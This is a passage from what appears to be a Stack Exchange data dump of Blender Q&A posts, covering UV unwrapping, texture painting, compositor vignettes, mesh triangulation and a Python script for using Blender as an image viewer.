rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know how normal mapping works you can generate procedural normal maps to accompany the procedural displacement and procedural textures of the terrain. This would minimize the floating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the ground is sorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any objects the character would encounter on it's journey must be instanced and moved around. The height of such objects (to sit on terrain properly) can be rigged the similar way as a box floats on an ocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also make the displacement mapping use world coordinates and move the plane under a character, but if you will walk huge distances I would rather keep everything close to the scene origin.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/RguYMK4gFo8&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is done dynamic loading and unloading of terrain tiles, but it uses heavy scripting and is totally out of scope of this site.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You might want to use a different engine than BGE for this kind of application. I would use BGE only for some basic arcade platformer, not for an open world project..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="47" LastEditDate="2015-12-23T14:41:18.623" LastActivityDate="2015-12-23T14:41:18.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34557" PostTypeId="2" ParentId="34555" CreationDate="2015-07-26T12:45:43.493" Score="3" Body="&lt;p&gt;you used NGons the bad way.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NnKlh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NnKlh.jpg&quot; alt=&quot;ngons1&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5AqIE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5AqIE.jpg&quot; alt=&quot;ngons2&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is fine after triangulation of the faces (Edit mode &lt;kbd&gt;Tab&lt;/kbd&gt;, select all &lt;kbd&gt;A&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; and &quot;triangulate faces&quot; in the face menu or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RclXK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RclXK.jpg&quot; alt=&quot;face menu&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Recalculate normals (all selected and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;)&lt;br&gt;&#xA;Back in object mode &lt;kbd&gt;Tab&lt;/kbd&gt;, select the mesh &lt;kbd&gt;RClick&lt;/kbd&gt;, then the armature with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RClick&lt;/kbd&gt;, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; and choose &quot;armature deform&quot;/&quot;with automatic weights&quot;&lt;br&gt;&#xA;Then parenting the hand to the armatures works fine.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JXVpR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JXVpR.jpg&quot; alt=&quot;fine!&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-07-26T14:02:40.810" LastActivityDate="2015-07-26T14:02:40.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34559" PostTypeId="2" ParentId="32997" CreationDate="2015-07-26T13:11:36.113" Score="17" Body="&lt;p&gt;The image texture node has two outputs, the &lt;em&gt;color&lt;/em&gt; data and the &lt;em&gt;alpha&lt;/em&gt; (transparency channel) data of the image.  The color data only holds the red, green, and blue of each pixel.  So if you plug it into a shader's color you will probably just get black where there is supposed to to transparency because those pixels are really black, but invisible.  You need to use the &lt;em&gt;alpha&lt;/em&gt; output as a mask for placing the face over the skin shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this take whatever shaders you are using for the blank skin and mix them with a diffuse (or whatever other shader[s] you want for the facial features) based on the &lt;em&gt;alpha&lt;/em&gt; output of the image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wY1Z1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wY1Z1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WhLou.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WhLou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-04T00:24:54.033" LastActivityDate="2015-08-04T00:24:54.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34560" PostTypeId="2" ParentId="32997" CreationDate="2015-07-26T13:15:28.820" Score="3" Body="&lt;p&gt;You also can mix the texture with the material (using a single shader, mixing colors) this way:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rmdmG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rmdmGh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-26T13:15:28.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34561" PostTypeId="1" AcceptedAnswerId="34562" CreationDate="2015-07-26T14:17:48.273" Score="1" ViewCount="155" Body="&lt;p&gt;In the UV mode I want to make the UV selection from curved to vertical. How can I do that in an automatic way?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sVt4s.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVt4s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastActivityDate="2015-07-26T14:40:19.520" Title="UV: How to make selection vertical?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34562" PostTypeId="2" ParentId="34561" CreationDate="2015-07-26T14:40:19.520" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select the mesh part you want to unwrap, press &lt;kbd&gt;U&lt;/kbd&gt; button to get unwrap menu and select &lt;strong&gt;Reset&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; button again and select &lt;strong&gt;Follow Active Quads&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-26T14:40:19.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34563" PostTypeId="2" ParentId="34477" CreationDate="2015-07-26T14:41:21.183" Score="3" Body="&lt;p&gt;Blender can be a useful image viewer for some formats like multilayer OpenEXR. I just expanded a bit on Chebhou's answer by creating a python script that calls blender, I expect this can be used on any *nix platform included OSX and possibly even windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script that gets called or set as the application to open image files is -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;&#xA;from subprocess import call&#xA;from sys import argv&#xA;import os&#xA;&#xA;sdir = os.path.abspath(os.path.dirname(argv[0]))&#xA;&#xA;calllist = [&#xA;    'blender',&#xA;    '--factory-startup',&#xA;    os.path.join(sdir, 'blend_image_view.blend'),&#xA;    '--python',&#xA;    os.path.join(sdir, 'blend_open_image_file.py'),&#xA;    '--',&#xA;    ]&#xA;&#xA;# add the args we get as filenames&#xA;calllist.extend(argv)&#xA;&#xA;call(calllist)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The factory-startup and blend file can be removed from the list of options sent to blender. I have blender setup to start with a window that fills two monitors, that doesn't work as well when used as a simple image viewer. I also setup a start file that has two simple layouts for image and movie viewing, leaving a window clear of any excess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main working script I adjusted a bit to handle multiple files. When multiple movies are opened I have them in separate channels, with all but the first video muted. I really don't think blender is a good choice for video viewing, this could be improved by adding a way to extract frame rates and resolutions to setup blender to match, which doesn't work well if you open multiple videos with different frame rates and sizes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from sys import argv&#xA;import os&#xA;&#xA;# change these two values to match screens names available&#xA;# UV Editing&#xA;blenderImageScreenName = 'ImageViewer'&#xA;# Video Editing&#xA;blenderMovieScreenName = 'MovieViewer'&#xA;&#xA;acceptedImgFiles = ['.bmp', '.cin', '.dpx',  '.exr',&#xA;                    '.hdr', '.jpg', '.jpeg', '.jp2',&#xA;                    '.j2k', '.png', '.rgb',  '.tga',&#xA;                    '.tif'&#xA;                    ]&#xA;acceptedMovFiles = ['.avi',  '.flv', '.h264', '.mov',&#xA;                    '.mpeg', '.mpg', '.mp2',  '.mp3',&#xA;                    '.mp4',  '.mkv', '.ogg',  '.xvid'&#xA;                    ]&#xA;&#xA;fileStartIdx = argv.index('--') + 2&#xA;numFilesToOpen = len(argv) - fileStartIdx&#xA;showAreaType = 'image'&#xA;curChann = 1&#xA;&#xA;for i in range(numFilesToOpen):&#xA;    filename = os.path.abspath(argv[fileStartIdx + i])&#xA;    ext = os.path.splitext(filename)[1].lower()&#xA;&#xA;    if ext in acceptedImgFiles:&#xA;        bpy.ops.image.open(filepath=argv[fileStartIdx + i])&#xA;    elif ext in acceptedMovFiles:&#xA;        # while we will open video files, blender isn't the best option here&#xA;        # When opening multiple videos, each video is imported into a new track&#xA;        # tracks after the first will be muted to prevent a terrifying&#xA;        # mess of multiple audio tracks&#xA;        # end frame is set to the longest video track imported&#xA;        # frame rate is left default and will need to be adjusted for each video&#xA;        nc = bpy.context.scene.sequence_editor.sequences.new_movie(name=argv[fileStartIdx + i],&#xA;                filepath=os.path.abspath(argv[fileStartIdx + i]), frame_start=1, channel=curChann)&#xA;        if bpy.context.scene.frame_end &amp;lt; nc.frame_duration:&#xA;            bpy.context.scene.frame_end = nc.frame_duration&#xA;        # I expected new_movie() to import video and sound&#xA;        # but that doesn't happen so we also add sound from the same file&#xA;        nca = bpy.context.scene.sequence_editor.sequences.new_sound(name=argv[fileStartIdx + i],&#xA;                filepath=os.path.abspath(argv[fileStartIdx + i]), frame_start=1, channel=curChann+1)&#xA;        if curChann &amp;gt; 1:&#xA;            nc.mute = True&#xA;            nca.mute = True&#xA;        curChann += 2&#xA;        showAreaType = 'video'&#xA;    else:&#xA;        print(&quot;Don't know what type of file this is -&quot;,filename)&#xA;&#xA;if showAreaType == 'image':&#xA;    bpy.context.window.screen = bpy.data.screens[blenderImageScreenName]&#xA;    # make first image active&#xA;    for area in bpy.data.screens[blenderImageScreenName].areas:&#xA;        if area.type == 'IMAGE_EDITOR':&#xA;            area.spaces.active.image = bpy.data.images[0]&#xA;else:&#xA;    bpy.context.window.screen = bpy.data.screens[blenderMovieScreenName]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save this as blend_open_image_file.py to match the filename set in the first script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of extensions can easily be extended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I would keep a copy of this &lt;a href=&quot;https://github.com/sambler/BlenderImageViewer&quot; rel=&quot;nofollow&quot;&gt;on github&lt;/a&gt; which also has the blend file mentioned above if anyone thinks it can be improved.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="55" LastEditDate="2015-08-27T11:38:34.270" LastActivityDate="2015-08-27T11:38:34.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34564" PostTypeId="1" AcceptedAnswerId="34566" CreationDate="2015-07-26T14:46:24.650" Score="1" ViewCount="1075" Body="&lt;p&gt;I've made a complex model, what would be a nightmare to texture in gimp. So I'm asking you, if there is an option to paint in Blender itself, watching my 3D creation? It would be a lot easier and faster that way. If you need the model, just ask for it. Oh, and I've added armature to it. Will the texture follow the body while it is deformed?&lt;/p&gt;&#xA;" OwnerUserId="15933" LastActivityDate="2016-09-20T01:31:19.070" Title="How to make textures in Blender without any flat work with a painting program? (3D painting)" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34565" PostTypeId="1" CreationDate="2015-07-26T15:15:12.053" Score="0" ViewCount="153" Body="&lt;p&gt;The two selected faces as shown in the screenshot have different colour (slightly brighter) and their edges was unable to bridge with others. What should I do? Any help is appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6gojF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6gojF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastActivityDate="2015-07-26T15:15:12.053" Title="Why some faces have different colours and can't bridge with others?" Tags="&lt;faces&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34566" PostTypeId="2" ParentId="34564" CreationDate="2015-07-26T15:50:35.480" Score="2" Body="&lt;p&gt;I think you can use a &lt;strong&gt;&lt;em&gt;Texture Paint&lt;/em&gt;&lt;/strong&gt; mode and paint the textures using a &lt;strong&gt;&lt;em&gt;Stencil&lt;/em&gt;&lt;/strong&gt; option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;new material&lt;/em&gt; to your object. Join all the meshes using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. Unwrap the model using &lt;em&gt;Smart UV Project&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tRaWQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tRaWQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Uv Editor&lt;/em&gt; add a new image texture and name it. Then save it (&lt;em&gt;Image--&gt;Save as Image&lt;/em&gt;).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6bzuu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6bzuu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;CYCLES&lt;/strong&gt; Setup the nodes as pictured below. In the &lt;em&gt;Image Texture&lt;/em&gt; node open up the newly created image.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/83TWo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/83TWo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;BLENDER INTERNAL RENDER&lt;/strong&gt; add a new &lt;em&gt;Paint Slot&lt;/em&gt;--&gt;&lt;em&gt;Diffuse Color&lt;/em&gt; in a &lt;em&gt;Tools&lt;/em&gt; bookmark of a &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Iw1il.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iw1il.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter the &lt;strong&gt;&lt;em&gt;Texture Paint&lt;/em&gt;&lt;/strong&gt; mode and set up the &lt;em&gt;shading type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Texture&lt;/em&gt;&lt;/strong&gt;. Add a new texture in the panel on the left, then go to the &lt;em&gt;Texture&lt;/em&gt; header on the right, select &lt;strong&gt;&lt;em&gt;Brush&lt;/em&gt;&lt;/strong&gt; and open a texture, which will be used as a stencil for painting.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h8Zdk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8Zdk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable a &lt;strong&gt;&lt;em&gt;Stencil&lt;/em&gt;&lt;/strong&gt; option in a panel on the left. Press:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-LMB to paint through the stencil&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-RMB to move it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt;+RMB to make the stencil bigger and smaller&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;kbd&gt;Ctrl&lt;/kbd&gt;+RMB to rotate it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/t3Lae.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t3Lae.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also &lt;em&gt;uncheck&lt;/em&gt; the &lt;em&gt;Occlude, Cull and Normal&lt;/em&gt; boxes to paint on the invisible parts of the mesh.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/akAiK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/akAiK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save your image when you're done with painting.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s3SDS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s3SDS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2016-09-20T01:31:19.070" LastActivityDate="2016-09-20T01:31:19.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34567" PostTypeId="1" AcceptedAnswerId="34568" CreationDate="2015-07-26T16:33:48.313" Score="0" ViewCount="203" Body="&lt;p&gt;I would like to create a fence that is &quot;buckled&quot; (sorry, I don't know the correct translation). The fence should be affected a lot by gravity. &#xA;If anybody knows how to explain that better, please tell me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a picture:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1kucL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1kucL.jpg&quot; alt=&quot;old fence&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I would do this with a plane. I thought I should subdivide it and move the vertices around so that the textures will be stretched and shrunken in order to give create such a worn-out fence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R9VLl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9VLl.jpg&quot; alt=&quot;plane as a fence&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I put a texture onto my model in Unity3D, the texture is absolutely fine, but that is not what I wanted. :-) I wanted the texture to be uneven. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody tell me how I can achieve that? &#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-07-26T16:47:43.250" Title="UVs should stretch texture" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34568" PostTypeId="2" ParentId="34567" CreationDate="2015-07-26T16:47:43.250" Score="2" Body="&lt;p&gt;Unwrap your mesh before deforming it will result in a good mapping.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0xDEI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0xDEI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Then when deforming the mesh, the texture will follow.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eenUp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eenUp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-26T16:47:43.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34569" PostTypeId="1" AcceptedAnswerId="34576" CreationDate="2015-07-26T17:07:18.250" Score="5" ViewCount="456" Body="&lt;p&gt;Is there a way to render both sides of a polygon in the game engine? Because as far as I know polygons have &quot;normals&quot; which means that the side with the normal is what will be shaded on the polygon, and games usually have two sides&lt;br&gt;&#xA;Grass for example will be visible from both sides of the polygon that it is mapped to. Is Blender capable of something like that?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="2217" LastEditDate="2015-07-26T18:50:53.273" LastActivityDate="2015-07-26T18:50:53.273" Title="double sided polygons in BGE" Tags="&lt;game-engine&gt;&lt;materials&gt;&lt;objects&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34570" PostTypeId="1" CreationDate="2015-07-26T17:14:33.577" Score="2" ViewCount="384" Body="&lt;p&gt;I was following a video tutorial and I want to achieve the same effect in the &lt;em&gt;Fast_Gaussian&lt;/em&gt;, I want that like sort of dark colors that form like a circle ( Vignette ), Also when I change the color or the tone the whole image just changes the color , or turns darker/lighter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my scene :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ICHrJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ICHrJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Desired result :&#xA; &lt;a href=&quot;https://i.stack.imgur.com/JHiNj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JHiNj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="5113" LastEditDate="2015-07-26T18:16:28.620" LastActivityDate="2015-07-26T18:16:28.620" Title="Why does my Ellipse mask and FastGaussian nodes have no effect on my image?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;image&gt;&lt;effects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34571" PostTypeId="2" ParentId="34570" CreationDate="2015-07-26T17:25:17.873" Score="3" Body="&lt;p&gt;You need to add a RGB input to the mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qujK1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qujK1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to control the darkness of the vignette, use a Bright/Contrast node to the mix.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-26T18:01:20.087" LastActivityDate="2015-07-26T18:01:20.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34572" PostTypeId="1" AcceptedAnswerId="34574" CreationDate="2015-07-26T17:26:21.853" Score="3" ViewCount="135" Body="&lt;p&gt;How to reduce amount  of array values in each iteration in array modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let's say we have a cube with two array modifiers which gives us an array 5x5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;next array row on Z axis (3x3) right above previous,  and next (1x1). Is it possible to do with modifiers or drivers? How?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ki3NB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ki3NB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14173" LastActivityDate="2015-07-26T17:58:11.373" Title="How to reduce amount of array values in each iteration in array modifier?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34573" PostTypeId="1" CreationDate="2015-07-26T17:46:26.550" Score="1" ViewCount="512" Body="&lt;p&gt;With some reason I've got strange lines on my finished texture. When I made it I didn't see it. When I re-opened the projects I saw the strange black/white lines on my object. &lt;a href=&quot;https://i.stack.imgur.com/u7MEp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u7MEp.png&quot; alt=&quot;Look at the hand&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/VS0AE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VS0AE.png&quot; alt=&quot;You asked for the UV and texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15933" LastEditorUserId="15933" LastEditDate="2015-07-26T19:19:47.567" LastActivityDate="2015-07-27T20:04:48.227" Title="Strange artifacts on Blender painted texture after re-opening" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34574" PostTypeId="2" ParentId="34572" CreationDate="2015-07-26T17:50:27.893" Score="2" Body="&lt;p&gt;One way to do this is using the particle system set to Grid distribution :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1ztlK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ztlK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a pyramid ( default cube with the top face resized )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mZics.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mZics.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a particle system to this pyramid :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aK32C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aK32C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;change the particle size / grid resolution /pyramid mesh  to get the desired results&lt;/li&gt;&#xA;&lt;li&gt;in the modifiers tab of the pyramid convert the particles to a real mesh :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MM146.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MM146.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-07-26T17:58:11.373" LastActivityDate="2015-07-26T17:58:11.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34575" PostTypeId="1" CreationDate="2015-07-26T18:18:40.430" Score="0" ViewCount="39" Body="&lt;p&gt;I want to make an operator (to put in a menu) to be able to select custom scenes, screens, brushes, etc.  I look in the info panel when I switch to one, but Blender doesn't display how it switches to these items.&lt;/p&gt;&#xA;" OwnerUserId="15006" LastActivityDate="2015-07-26T18:18:40.430" Title="How to make an operator to access custom screen, scene, brushes, etc" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
